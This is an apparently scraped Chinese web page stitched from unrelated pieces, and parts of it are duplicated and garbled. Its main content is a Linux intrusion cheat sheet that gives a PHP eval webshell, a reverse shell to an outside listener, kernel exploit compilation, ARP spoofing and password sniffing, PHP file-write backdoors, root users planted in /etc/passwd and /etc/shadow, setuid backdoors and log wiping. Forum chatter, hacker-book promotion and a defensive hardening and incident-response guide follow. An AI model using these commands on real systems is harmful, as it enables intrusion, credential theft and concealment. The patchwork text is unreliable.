Linux命令求解答?有隐藏的黑客命令亮点哦

黑客常用 Linux 入侵常用命令
原文地址:http://blog.csdn.net/jHstGeWWubw/article/details/写个php一句话后门上去:[jobcruit@wa64-054 rankup_log]$ echo -e "&?php @eval(\$_POST[md5])?&" &rankuplog_time.php[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php1、linux的想着先跨站shell浏览目标站不行,命令行下输入:ls -la /www.users/2、溢出提权# python –c ‘pty.spawn(“/bin/sh”);来得到交互的Shell,一般的系统都默认安装python输入idbash-3.2$ iduid=529(zeicom) gid=525(zeicom) groups=525(zeicom)bash-3.2$这里uid=529(zeicom)还不是root权限,输入uname –r返回:2.6.18-164.11.1.el5PAELinux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出找对应的exp, 这里地址整理很齐全可以这里下http://tools.90sec.org/http://sebug.net/paper/linux_exp/http://x73.cc/bitch/exp/http://www.exploit-db.com/search/命令输入pwd,这个命令是显示当前目录,先看能不能编译
gcc -help当前目录就是shell的目录,我在shell上传2.c反弹shell
到外网自己机器的12345端口
上外网服务器 本地监听 nc -lvvp 12345一般都能得到一个apache交互的shell 有时候又不行这时候
# python -c 'pty.spawn("/bin/sh");' cd /tmp
进入tmp目录 mkdir Papers
创建一个Papers的目录 Papers不显眼cd Papers
进入 Papers目录pwd
查看当前目录
然后命令输入wget 下载expgcc –o 2 2.c
//把2.c编译成可执行文件 g++ keio.cc -o keiochmod +x 2
//给2有执行权限./2
溢出gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet确定arpsniffer.c需要先装pcap和 libnet。rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpmwget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=&big_mirror=0tar zxvf libpcap-0.8.1.tar.gzcd libpcap-0.8.1./configuremakemake install重新编译arpsniffer.cgcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet这次没报错,编译成功。./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77) ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110在另一个登录里面用tcpdump监听下tcpdump -i eth0 host 192.168.0.11发现有数据,把监听的数据存在文件里面: tcpdump -i eth0 host 172.16.0.12 -w pop.txt10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。下面我们就可以用linsniffer监听我们想要的用户名和密码了。先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:if(ntohs(tcp-&dest)==21)
p=1; /* ftp */if(ntohs(tcp-&dest)==22)
p=1; /* ssh for comparison added for example only comment out if desired*/if(ntohs(tcp-&dest)==23)
p=1; /* telnet */if(ntohs(tcp-&dest)==80) p=1;
/* http */if(ntohs(tcp-&dest)==110) p=1; /* pop3 */if(ntohs(tcp-&dest)==513) p=1; /* rlogin */if(ntohs(tcp-&dest)==106) p=1; /* poppasswd */[root@bbs111 root]# gcc -o linsniffer linsniffer.cIn file included from /usr/include/linux/tcp.h:21,from linsniffer.c:32:/usr/include/asm/byteorder.h:6:2: warning: #warning using p include &endian.h& instead!不用管警告,直接运行编译后的linsniffer即可。[root@bbs111 root]# ./linsniffer用户名和密码都自动存到了tcp.log下。3、利用跨站代码linux不提权跨目录访问的代码 linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。代码如下:$path = stripslashes($_GET['path']);$ok = chmod ($path , 0777);if ($ok == true)echo CHMOD OK , Permission editable file or directory. P?& 把上面代码保存为tmdsb.PHP然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php这里的index.PHP是要修改权限的文件。收集的另一个exp:把下面的代码保存为exp.PHP代码:@$filename = stripslashes($_POST['filename']);@$mess = stripslashes($_POST['mess']);$fp = @fopen({$_POST['filename']}, 'a');@fputs($fp,$mess );@fclose($fp);?&4.2.618最终Linux Kernel & 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功udev提权换了个udev提权,适用于内核范围为2.6.*。还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。chmod +x pwnkernel.cchmod +x wunderbar_emporium.shchmod +x exploit.c之后执行溢出./w*成功溢出,root权限。之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o "username")依次输入命令cd /tmpsh-3.1# ls /lib/ld-linux*/lib/ld-linux.so.2sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1vensh-3.1# ls -l .str1ven-rwxr-xr-x 1 root root -08 21:13 .str1vensh-3.1# chmod +s .str1vensh-3.1# ls -l .str1ven-rwsr-sr-x 1 root root -08 21:13 .str1ven成功建立一个后门,退出root,执行./.str1ven `which whoami`,又成功获取root权限~~ cat /etc/passwd 查看linux用户cat /etc/shadow 查看用户密码需要root权限cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息ifconfig 查看本机ip信息cat /etc/resolv.conf 查看DNS信息bash -i 在反弹的shell中使用可以直观显示命令bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成bash#。系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。echo 1&/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1&/proc/sys/net/ipv4/ip_forward,vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!netstat -an |grep LISTEN |grep :80 查看端口service --status-all | grep runningservice --status-all | grep http查看运行服务lsb_release -a 查看系统版本重启ssh服务 :/usr/sbin/sshd stop/usr/sbin/sshd startssd_config文件里PasswordAuthentication no,将其改为PasswordAuthentication yes远程ssh才可登录否则显示Access denied其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.su的菜鸟用法先chomod 777 /etc/passwd然后修改bin用户的gid和uid为0然后passwd设置bin的密码然后cp /bin/bash /sbin/nologin然后su的时候su - bin就可以到rootshell了。这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。还可以这样sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwdgcc prtcl2.c –o local –static –Wallecho "nosec:x:0:0::/:/bin/sh" && /etc/passwdecho "nosec::-1:-1:-1:-1:-1:-1:500" && /etc/shadow清空last记录 cp /dev/null /var/log/wtmp-----dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel &= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的/etc/init.d/ssh start
开22端口/etc/ssh/sshd_config SSH服务配置文件
没有更多推荐了,关于linux命令_百度知道
关于linux命令
在百度里看到了很多linux好玩的命令 是不是要安装 $ sudo apt-get install cmatrix这个的 这个又是什么 菜鸟 求助 谢谢
我有更好的答案
cmatrix只是Linux下的一个特效,显示像黑客帝国里的数码雨效果。Linux确实是非常强大的,特别是对于开发工作,可以提供非常多的工具,当然也有很多好玩的东东。比如sl小火车等。
我的sl小火车也不能用 要怎么样才能用
打开终端,在命令行中输入sl就可以看到了。不过你得先安装了:sudo apt-get install sl
我就是不知道怎么安装 sudo apt-install sl 不知道哪里有得下载
首先这些必须运行在Linux系统,以Ubuntu为例,打开其终端,输入sudo apt-get install sl即可。
采纳率:72%
为您推荐:
其他类似问题
您可能关注的内容
linux命令的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。请点击此处输入图片描述
写个php一句话后门上去:
[jobcruit@wa64-054 rankup_log]$ echo -e "" &rankuplog_time.php
[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php
1、linux的想着先跨站
shell浏览目标站不行,命令行下输入:
ls -la /www.users/
2、溢出提权
# python –c ‘pty.spawn(“/bin/sh”);
来得到交互的Shell,一般的系统都默认安装python
bash-3.2$ id
uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
这里uid=529(zeicom)还不是root权限,
输入uname –r
返回:2.6.18-164.11.1.el5PAE
Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出。
我希望你触碰到它的时分,心存感谢,因为,这是整个黑客协会大力引荐的惊世力作,这儿,还有当年抵御外敌网络侵略的热血气息,这儿,还有对整个中华黑客新秀的殷切希望。
让互联网不再饱尝安全的困扰!—— 《网络黑白》 作者 花无涯
有人的当地就有江湖,有江湖的当地就有故事。每个男人心中都有一个武侠梦:都愿望着具有一把利剑宝刀,驰骋纵横,爽快江湖。愿望着有一个神仙眷侣,携手仗剑,联袂行侠。看尽人世的富贵,最终归隐山林,闲散安逸,悠游自得。但是许多夸姣的心愿和神往,都只是在武侠国际里。武侠是一种情怀,江湖是一种意境,这是成人的童话。回到实践,这些终归是不切实践的愿望,是心里的乌托邦。当今,我国黑客教父花无涯从前未竟的武侠梦,通过网络得到了接续。
找对应的exp, 这里地址整理很齐全可以这里下
命令输入pwd,这个命令是显示当前目录,
先看能不能编译
当前目录就是shell的目录,我在shell上传2.c
到外网自己机器的12345端口
上外网服务器 本地监听 nc -lvvp 12345
一般都能得到一个apache交互的shell 有时候又不行
# python -c 'pty.spawn("/bin/sh");'
cd /tmp进入tmp目录
mkdir Papers
创建一个Papers的目录 Papers不显眼
进入 Papers目录
pwd查看当前目录
然后命令输入
wget 下载exp
gcc –o 2 2.c
//把2.c编译成可执行文件 g++ keio.cc -o keio
chmod +x 2 //给2有执行权限
./2//执行2,
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
确定arpsniffer.c需要先装pcap和 libnet。
wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=&big_mirror=0
tar zxvf libpcap-0.8.1.tar.gz
cd libpcap-0.8.1
./configure
make install
重新编译arpsniffer.c
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
这次没报错,编译成功。
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
在另一个登录里面用tcpdump监听下
tcpdump -i eth0 host 192.168.0.11
发现有数据,把监听的数据存在文件里面:
tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。
下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:
if(ntohs(tcp-&dest)==21)
p=1; /* ftp */
if(ntohs(tcp-&dest)==22)
p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp-&dest)==23)
p=1; /* telnet */
if(ntohs(tcp-&dest)==80) p=1;
/* http */
if(ntohs(tcp-&dest)==110) p=1; /* pop3 */
if(ntohs(tcp-&dest)==513) p=1; /* rlogin */
if(ntohs(tcp-&dest)==106) p=1; /* poppasswd */
[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using p include
不用管警告,直接运行编译后的linsniffer即可。
[root@bbs111 root]# ./linsniffer
用户名和密码都自动存到了tcp.log下。
3、利用跨站代码
linux不提权跨目录访问的代码
linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。
在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。
代码如下:
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo CHMOD OK , Permission editable file or directory. P
把上面代码保存为tmdsb.PHP
然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php
这里的index.PHP是要修改权限的文件。
收集的另一个exp:
把下面的代码保存为exp.PHP
@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen({$_POST['filename']}, 'a');
@fputs($fp,$mess
@fclose($fp);
4.2.618最终Linux Kernel
换了个udev提权,适用于内核范围为2.6.*。
还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。
chmod +x pwnkernel.c
chmod +x wunderbar_emporium.sh
chmod +x exploit.c
之后执行溢出./w*
成功溢出,root权限。
之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o "username")
依次输入命令
sh-3.1# ls /lib/ld-linux*
/lib/ld-linux.so.2
sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven
sh-3.1# ls -l .str1ven
sh-3.1# chmod +s .str1ven
sh-3.1# ls -l .str1ven
-rwsr-sr-x 1 root root -08 21:13 .str1ven
成功建立一个后门,退出root,执行./.str1ven `which whoami`,又成功获取root权限~~
cat /etc/passwd 查看linux用户
cat /etc/shadow 查看用户密码需要root权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
ifconfig 查看本机ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反弹的shell中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以
Root登陆时,你的prompt会变成bash#。
系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
echo 1&/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1&/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running
service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启ssh服务 :
/usr/sbin/sshd stop/
usr/sbin/sshd start
ssd_config文件里
PasswordAuthentication no,
PasswordAuthentication yes
远程ssh才可登录
否则显示Access denied
其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
su的菜鸟用法
先chomod 777 /etc/passwd
然后修改bin用户的gid和uid为0
然后passwd设置bin的密码
然后cp /bin/bash /sbin/nologin
然后su的时候su - bin就可以到rootshell了。
这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
gcc prtcl2.c –o local –static –Wall
echo "nosec:x:0:0::/:/bin/sh" && /etc/passwd
echo "nosec::-1:-1:-1:-1:-1:-1:500" && /etc/shadow
清空last记录 cp /dev/null /var/log/wtmp
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel
/etc/init.d/ssh start开22端口
/etc/ssh/sshd_config SSH服务配置文件
文章转载自网络,作者观点不代表本网站立场,如需处理请联系客服
白帽子黑客其它文章
CMD命令一键获取 无需工具 查WIFI密码黑客入门学习黑客技术需要看什么书?——《网络黑白》2017全年技术文章集合贴(花无涯带你走进黑客世界系列)运行 直接左下角 搜索或者快捷键 微软图标键+RCMD平常人看起来 没啥用,但是如果你会使用,你会发现:它真的很强大! Win
Night 一千人社区过去的几年里黑协一直都是开放式发展,做过系列公开课,由于底子不一样,并且遇到的问题涉及广泛很难进行一个一个解决。2018年书友会让有想法有能力的人一起进步。同时书友会将会吸纳所有黑协成员。时间已经过去很久了,不管是我在知乎发文章还是在微博发文
世界杯直播一男一女竟然发生这种事程延之发狠地吻着她,听了她的话,突然一愣,他看向她,“害怕?你还知道害怕?一百九十九天,你这个女人你还知道回来?”夏云笙微愣,这个一向不怎么在意的男人,此刻语气里满满的都是担心。她走之后,他竟然一直数着时间?程延之搂着
美国反间谍安全中心主任 William Evanina 于近期发布警告称前往俄罗斯参加世界杯的球迷的移动设备和电脑可能会受到俄罗斯情报部门的黑客攻击。根据这位美国高级情报官员的说法,出于安全考虑,俄罗斯当局会在世界杯期间进行大规模监视。背景介绍事实上,在赢得2018年世界
视频vip软件(爱奇艺、 pptv、优酷等)原文和下载地址去 看微博文章...
6.13号早上【A站遭黑客攻击 近千万条用户数据外泄 抓紧改密码】暗网已经有在卖的了...@AcFun弹幕视频网: 因受黑客攻击,已有近千万条用户数据外泄,目前已报警,希望用户及时修改密码。公告称,泄露的数据主要包括用户ID、昵称、加密储存的密码等。 不久前。。ACFUN弹幕
花无涯黑客笔记: 网络黑白入侵第三章;有资源、有技术,顶级黑客中的“硬茬子”但是通过《黑客笔记之网络黑白》作者花无涯的细节来看,其实本质上仍然是以工具的使用为主,辅以部分脚本语言的话也就是做些自动化的活,难道这就是所谓的大牛了吗?搞信息安全的,"敌人"同
黑客笔记:网络黑白入侵技巧第二章;黑客攻防不怕黑客会武术,就怕黑客懂套路如果说经常依靠社会工程学的黑客是初入门庭,那么形成自己渗透套路的黑客就已经是大牛级别了。这类黑客在多次渗透入侵的过程当中总结了各种各样的技巧(含社会工程学),并且将其有机的组合成
花无涯带你走进黑客世界黑客笔记:网络黑白入侵技巧入侵:.. 首先确定入侵的目的: 要获取美国白宫工作人员布鲁斯电脑的信息. 着手实施。那么为什么你的网站会频频被黑呢?其实,仅仅是运气不好罢了,千万不要想有什么黑客盯上你的网站了,莫说你的网站没有什么价值,就算
这是一个理论上通杀很多大型企业网站的漏洞缺陷~可能很多朋友点击来看见标题就觉得,这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害?漏洞可以说是无处不在的,WEB服务器,浏览器中的请求应答格式,浏览器扩展程序等都能够见到他的身影。不得
黑客渗透神器 kali 2018安装教程黑客花无涯:Kali-linux系统,渗透测试人员的“女神”,永远是最先进的渗透测试平台。其中集成了大量的工具,用的好可达事半功倍的效果。安全问题的根源优点:分工明确,工作效率高。缺点:从业人员对系统没有整体的认识,对安全认识较为
互联网时代,什么最重要?是WiFi,还是宽带?都不对,交电费最重要。开个玩笑。确实,日常生活中大家已经离不开WiFi了吧?WiFi的好处无需赘言,但是相应的,它的危险性也值得我们商榷。那么,该如何保证自己的安全呢?勿使攻击者非法入侵您的WiFi:这是我们的高级WiFi安全
区块链:如何保护好自己的数字货币?安全是区块链的“地基”,但是在区块链的江湖里,有最优秀的创业精英,也有最优秀的骗子,基础的确并没有小白们想象的那么牢靠。提出安全隐患得有针对性的解决办法才算圆满,小编在采访众多老韭菜和老师之后,拿到了不少压箱底的干货
防黑客区块链:如何保护好自己的数字货币?安全是区块链的“地基”,但是在区块链的江湖里,有最优秀的创业精英,也有最优秀的骗子,基础的确并没有小白们想象的那么牢靠。提出安全隐患得有针对性的解决办法才算圆满,小编在采访众多老韭菜和老师之后,拿到了不少压箱底
区块链:黑客已经盯上你的数字货币了!比如:黑客花无涯我是如何因为安全研究而最终关注到 EOS 的...2014年,当时全球最大的比特币交易所Mt.Gox宣布因遭受黑客攻击,其CEO马克·卡尔普称“平台上85万个比特币因公司系统漏洞被盗一空”而MT.Gox在日本旋即申请破产保护,而
黑客大神花无涯:黑客可以厉害到什么程度?所谓黑客的厉害,其实也不过就是网络安全研究同学们的日常,我们在西雅图有一间专门研究物联网安全的实验室,最近发现了一个僵尸网络,研究员同学顺手就把它给黑了,详情如下(为确保原汁原味,英文和翻译我都放在下面了):迷
技术没有黑白,网络编程的基础是协议把编程挂上黑客的名义,多少有些标题党。代码怎么写,程序怎么用,完全是技术问题。不会因为叫网络编程就低人一等,叫黑客编程也不会变得神秘或者高大上,代码就在那里,不卑微也不高尚。所以学习编程,要有颗平常心。新浪微博 互联网
T-Mobile客户:您的数据又一次遭到了威胁。这一次的罪魁祸首似乎是一个名为“copypasta”的bug,一位安全研究人员最近在T-Mobile的网站上公开可见的一个子域中发现了一个bug,这个bug让任何人都只用一个电话号码就可以访问客户数据。感觉T-Mobile想要赢一个最佳bug奖。那
2017 年的时候,南非遭遇了一起大规模的数据泄露事故。然而转眼间,这个国家又发生了一起数据泄露,导致 93.4 万人的个人记录在网络上被曝光。本次曝出的数据,涵盖了国民身份证号码、电子邮件地址、全名、以及明文密码。从分析来看,这些密码似乎与交通罚款相关的在线系
快速、安全又易用的浏览器Opera 浏览器让您畅享网络世界。浏览器现在内置有广告拦截功能。一、下载Opera浏览器官网:https://www.opera.com/zh-cn下载好并安装,安装好它会自己弹出来,不用管,关掉。二、设置系统区域系统是Windows10,win7.win8 都可以设置地区。直接进
白帽子黑客巅峰思维&技术
linux黑客基础
本书讲述了linux安全的方方面面,并且以一问一答的方式介绍,思路清晰。文中提供了很
多有益的安全提示,是Linux系统维护人员的必备参考书。通过本书,你能了解到linux安
全的整体概念,从系统安全到应用安全,从单机安全到网络安全。但安全问题是一个不断变
化不断更新的过程而不是一个解决方案,所以本书只是提到当时为人所发现的安全问题的介
绍,新出现的安全问题可参考该书网站的更新和网上的安全警告。
linux安全问题概述
粘着位(Sticky bit)
如果用户对目录有写权限,则可以删除其中的文件和子目录,即使该用户不是这些文件的所
有者,而且也没有读或写许可。粘着位出现执行许可的位置上,用t表示,设置了该位后,
其它用户就不以删除不属于他的文件和目录。但是该目录下的目录不继承该权限,要再设置
才可使用。
# chmod 1770 xxx
chattr命令修改
lsattr命令列出文件属性
文件属性定义
不要更新atime文件,当在笔记本电脑或NFS上限制磁盘I/0流量时,很有用,除2.0
系列外,这一属性不被其它内核支持。
文件仅能以追加方式打开,只有root才能设置这个属性。
文件保存在磁盘时,内核将自动压缩该文件。
文件标记,使其不能被转储。
文件不能被修改,删除或重命名,不能创建任何指向它的链接,并不能写入任何数据。
删除文件时,相应的磁盘存储块清零。
修改文件时,对其写入进行同步。
删除文件时,保存其内容。
Ulimit命令
可以把命令加到profile文件里,也可以在/etc/security/limits.conf文件中定义
显示所有限制
core文件大小的上限
进程数据段大小的上限
shell所能创建的文件大小的上限
驻留内存大小的上限
堆栈大小的上限
每秒可占用的CPU时间上限
打开文件数的上限
进程数的上限
虚拟内存的上限
除可用Ulimit命令设置外,也可以在/etc/security/limits.conf文件中定义限制。
domino是以符号@开头的用户名或组名,*表示所有用户,type设置为hard or soft。item指
定想限制的资源。如cpu,core nproc or maxlogins
。value是相应的限制值。
# kill -TERM XXXX
# kill -HUP HTTPD
重读配置信号
root用户是可绑定端口小于1024的惟一用户。可以信任来自于远程机器端口小于1024的连
第二章 预防措施与从入侵中恢复
简单的FIND命令
# find / \(-perm -02000 -o -perm -4000 \) -ls
可以找出系统中所有的setuserid and setgroupid
在最严格的情况下,可以去掉除/bin/su外所有已安装程序的setXid位。
系统安全扫描工具
扫描检测器
黑客入侵系统前所做的第一件事就是从网络上扫描系统,扫描检测器能及时获知,是一个良
好的入侵检测系统(IDS)
PortSentry
Bastille项目创建了一组模块来加固新近发布的REDHAT。在安装完系统后可运行该补丁,
在什么时候都可运行,不必要一定是刚安装完系统。
加固的方法是:1、下载源代码到/root目录并解包。以root身份动行InteractiveBastille.pl脚
本。在回答完问题后,程序将做出相应改动。配置完成后,该工具把其保存在BackEnd.pl
中,如果希望加固同样配置的服务器,将它复制到新服务器并运行AutomatedBastille.pl即可。
Openwall Linux补丁
它是一个内核补丁。要这些补丁起作用,用户必须重新编译和安装新的打上补丁的内核。在
某些情况下,这些内核补丁和标准linux不完全兼容,因此在决定使用前必须确信理解其含
它包括内核级的端口扫描检测程序和安全警告程序。是内核补丁(现在适用于2.2.X和2.4.X,
但以后将不再支持2.2)和系统管理工具。其特性包括:
1、高级文件保护,甚至root也不能发现和处置受LIDS保护的文件。
2、进程保护,内核拒绝向受保护的进程发送信号(例如SIGKILL),进程也可以被完全隐
藏起来,在/proc下不会存在任何痕迹。
3、更好的访问控制,更有效地使用与特权相关的权能,包括禁止root更改这些权能。
4、内置式端口扫描检测,内置于内核的扫描程序能够检测到Nmap,SATAN等工具的绝大
部分扫描。
要安装LIDS,必须下载最新的linux内核正式版和LIDS源代码。使用LIDS给内核打上补丁,
然后重新编译内核。
日志文件分析
syslogd消信可标记为特定的功能和级别,在/etc/syslog.conf文件中可以根据这两个选项来设
置消信的去向。
syslogd功能
安全性/验证消息(负面)
安全性/验证消息
cron and at
其它系统守护进程(sshd,xinetd,pppd等)
行打印系统
邮件子系统(sendmail,postfix,qmail等)
Usenet新闻消息
内部syslog消息
一般用户级消息
UUCP子系统
local0-local7
自定义的级别
系统已不可用
必须马上采取行动
普通但重要的情形
syslog.conf每一行的配置格式为
facility.loglevel
logtarget,所有字段用tab隔开
daemon.notice
/var/log/daemon.log
把程序发送过来的功能为daemon,优先级为notice
或更高级别的所有日志消息记录到/var/log/daemon.log文件中,可以使用*号表示匹配所有功
能或日志级别。
/path/to/filename
将消息附加到所指定文件的文件尾,这是最常用的情形。
写到loghost机器上的syslog服务器。可方便把日志发来多台机器上,
|/path/to/named_pipe
写到指定的命名管道(便于用外部程序过滤消息)。
user1,user2
写到所列用户。
写到所有登录用户。
/dev/console
写到已命名的终端。
日志文件许可
应设置日志只为root所有和写入,同时能够被log组(或你所希望的组)读取,而其他用户
没有任何权限。一个用户在输入用户名的地方使用了口令,在登录失败时,将会把用户名(在
此例中为口令,因为用户失误)记录到日志中。然后创建一个属于log组的虚构用户,并让
所有日志检查程序以该用户而不是root运行。日志检查程序不应当以root用户运行。
可以通过日志分析软件开监控日志,如logcheck,swatch和logsurfer。但最好的工具还是管理
员自已写的脚本。
文件系统完整性检查
修改文件系统是黑客在侵入系统之后经常要做的一件事情,下面列出了经常被修改的一些文
服务器配置文件
/etc/inetd.conf,/etc/ftpaccess
网络配置文件
/etc/host.conf,/etc/sysconfig/network
系统配置文件
/etc/ld.so.conf,/etc/nsswitch.conf
/etc/cron.daily/*,/var/spool/cron/root
setuserid程序
/bin/su,/bin/ping,usr/bin/chfn,/sbin/dump
setgroupid程序
/sbin/netreport,/usr/bin/lpr,/usr/bin/write,/usr/bin/man
如果知道机器何时被入侵,就可以判断修改时,并了解哪些东西被修改了,例如想知道在9
月17日发生的侵入事件中被修改的所有文件,可以执行如下命令:
/tmp/comparison
# find / \( -newer /tmp/comparison -o -cnewer /tmp/comparison \) -ls
但记住,检查文件时间所给出的统计结果是不可靠的,touch命令可以更改任何文件的修改
时间(mtime)和访问时间(atime).
校验和是一个使用数学算法生成的字符串,可以用来判断两个文件是否相同,即使在一个文
件中只改动了一位,它们的校验和也会不同。通常
用md5sum命令。
通过检查文件许可,用户可以知道修改发生的时间,并判断其行为是合法,意外还是恶意的,
同时确定其对系统的影响。
生成校验和与许可数据库
在黑客入侵系统前生成文件的校验和,下面是一个快捷的perl脚本,能够使用户生成自已
的文件许可和校验和数据库(文本)。
#!/usr/bin/perl
require 'find.pl';
$md5 = new MD5;
@dirs = @ARGV;
for $dir ( @dirs ) { find($dir);}
sub wanted { push @files,$}
for $name ( sort @files ) {
($uid,$gid) = (stat $name)[4,5];
$stat = sprintf "%0o",(stat _)[2];
unless ( -f $name ) {
printf "$stat\t$uid $gid\t\t\t\t\t\t$name\n";
$md5-&reset();
open FILE,$name or print(STDERR "Can't open file $name\n"),
$md5-&addfile(FILE);
close FILE;
$checksum = $md5-&hexdigest();
printf "$stat\t$uid $gid $checksum\t$name\n";
生成的数据库尽量不要放在本机上,要放在其它机器上或一次写多次读(CDR)的机器上。
现有的文件完整性工具 Tripwire
AIDE Nabou
如何知道系统何时被黑
发现系统被入侵的方法:
1、主页变化
2、磁盘空间的急剧减少
用df工具查看磁盘使用情况
3、频繁地使用网络
使用netstat -na 或lsof输出,检查存在什么连接
4、来自其它管理员的联系
当你的机器被用于攻击其它机器时
5、混杂模式的网络接口
如果黑客想嗅探系统中可用的网络服务,会把网络接口设置
为混杂模式(捕获所有的包)。请检查
ifconfig -a输出的promisc以确定接
6、抹去/截断的日志文件
检查syslog
7、被破坏的utmp/wtmp
8、系统中存在的新用户
黑客通常使用与现存的用户名相近的名称以减少被发现的
机会,例如与lp近似的lpr或uucp1等。或者
黑客方言中的名字,如t00r and own3d.
9、正在运行的陌生程序
10、不能解释的CPU使用情况
11、本地用户的远程帐号被破解
12、“看起来古怪”的事情
被入侵后应采取的措施
关闭所有网络接口,使黑客对系统丧失了交互行为的能力,但那些正在运行的进程仍然
会继续运行。
将系统切换到单用户模式,关闭所有正式的root进程和所有用户进程,任何剩下的进程
可能就来自于黑客。
3、使用未被损害的linux启动盘重启系统。以只读模式加载系统,检查系统,以查看黑客
所动的手脚。
4、进行严重损害的控制。
以只读模式挂上所有分区,并记录所发现的任何事情。
1、找到可疑的文件和目录
口令文件,黑客工具和任何你没有放置在系统中的目录。这
些目录在你重启前可能是不可见的。
2、定位新的setuserid程序
任何新的setXid程序(尤其是属于root的)都极有可疑。
3、检查时间戳
检查黑客入侵之后发生变化的文件。
4、阅读日志文件
检查所有日志文件。
5、验证校验和
比较黑客入侵前后的校验和数据库。
6、验证所安装的软件包
确认正确的版本,黑客可以把软件降级,以让系统使用不安
全的版本。
7、手工验证配置文件
快速浏览,以确定变化,如web以root用户运行,或在
/etc/inetd.conf中出现了额外的服务器。
8、备份文件
9、特殊工具
有很多工具可以帮助检查系统,最新的是组件是coroners toolkit。
10、通知权威机构。
在确定了黑客行为后,有两个选择,1、堵上漏洞并对系统被篡改部份启用备份;2、重新安
装系统。最安全的方法是完全重新安装系统。
仅仅堵上发现的漏洞并继续运行通常要快得多,但是,你可能并不能确定黑客在系统中所做
的所有事情。黑客可留下在几个月后才发作的时间炸弹,也可能修改了系统二进制代码,使
